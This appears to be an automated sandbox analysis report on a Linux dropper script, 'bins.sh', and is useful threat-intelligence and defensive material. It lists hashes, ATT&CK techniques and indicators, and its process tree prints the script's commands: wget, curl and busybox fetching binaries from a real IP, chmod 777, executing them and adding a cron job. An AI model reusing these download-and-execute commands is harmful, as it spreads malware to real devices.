9eafacdae4bc698ac3772dec6d7fd58f52016d14ed2bebced95adb3bf5b11942

Analysis

max time kernel
149s
max time network
190s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23-11-2024 21:10

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General

Target

bins.sh
Size

10KB
MD5

431b48448d4b1dfa1658bc2885794b2c
SHA1

b50b7e76f9f7213c9537e92378a3a4b2834e057a
SHA256

9eafacdae4bc698ac3772dec6d7fd58f52016d14ed2bebced95adb3bf5b11942
SHA512

ac65c463a6209ee2391cd2c5e71fa5ba86113611edb0222341ca28e64257f7113f8f41ebd49ecb8ad38c90956f4b3121300695af5d34ef2f17aa8408c2d0425b
SSDEEP

192:pTrjA8AAnTJGiOkqyc7PDm+MePU5m+Mqqyc7P6TJl0TrjA8iF:KAMP/PUxF

Score

8^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (970) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
774	chmod
781	chmod
792	chmod

Executes dropped EXE 3 IoCs

Processes:

3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkdsjajpkHvqsA4OeviY1zjwFRZ2J8abQTykyPwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

ioc	pid	Process
/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	775	3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	782	sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
/tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr	793	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

Renames itself 1 IoCs

Processes:

PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

pid	Process
794	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.53U5YJ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlPwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZrcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/15/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/165/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/654/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/928/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/989/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/846/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/955/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/981/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/994/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/999/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/8/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/24/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/800/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/819/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/874/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/884/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/4/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/281/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/866/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/881/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/948/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1009/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1022/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/27/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/821/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/862/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/912/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/935/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/954/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/803/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/844/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/859/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/861/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/887/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1031/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1034/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1037/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/602/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/816/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/820/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/837/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1000/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/29/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/659/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/907/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/147/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/993/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1005/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/1025/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/7/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/599/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/875/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/879/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/23/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/873/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/922/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/941/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/959/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/2/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/850/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
File opened for reading	/proc/972/cmdline	PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxcurlbusyboxwgetcurlbusyboxwgetcurlwget

description	ioc	Process
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	busybox
File opened for modification	/tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr	curl
File opened for modification	/tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr	busybox
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	wget
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	curl
File opened for modification	/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd	busybox
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	wget
File opened for modification	/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky	curl
File opened for modification	/tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:656
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:658
- /usr/bin/wget
  wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:664
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:702
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
  2⤵
  PID:777
- /usr/bin/wget
  wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:778
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
  2⤵
  PID:784
- /usr/bin/wget
  wget http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  - Writes file to tmp directory
  PID:785
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  ./PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:793
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:795
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:796
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:797
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:798
- /bin/rm
  rm PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
  2⤵
  PID:800
- /usr/bin/wget
  wget http://216.126.231.240/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
  2⤵
  PID:803

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.53U5YJ

Filesize
210B

MD5
7257723194253f8a61fc3082559a4a94

SHA1
ae6a94186cf78a8c9c089db93a23249bb5dac827

SHA256
b5e50c93f75fe0383d4efc29dfb35ab93ae153f9562a22858891433cf4a08af5

SHA512
5c76c1f3fabf047536d9b48d910ec788ffa10ea43ac8e1cfa7b74aed272c81583cef8bf46fecd5641800aac918198a2e01b390103a79ec010fc66304e914a79f

Download Submit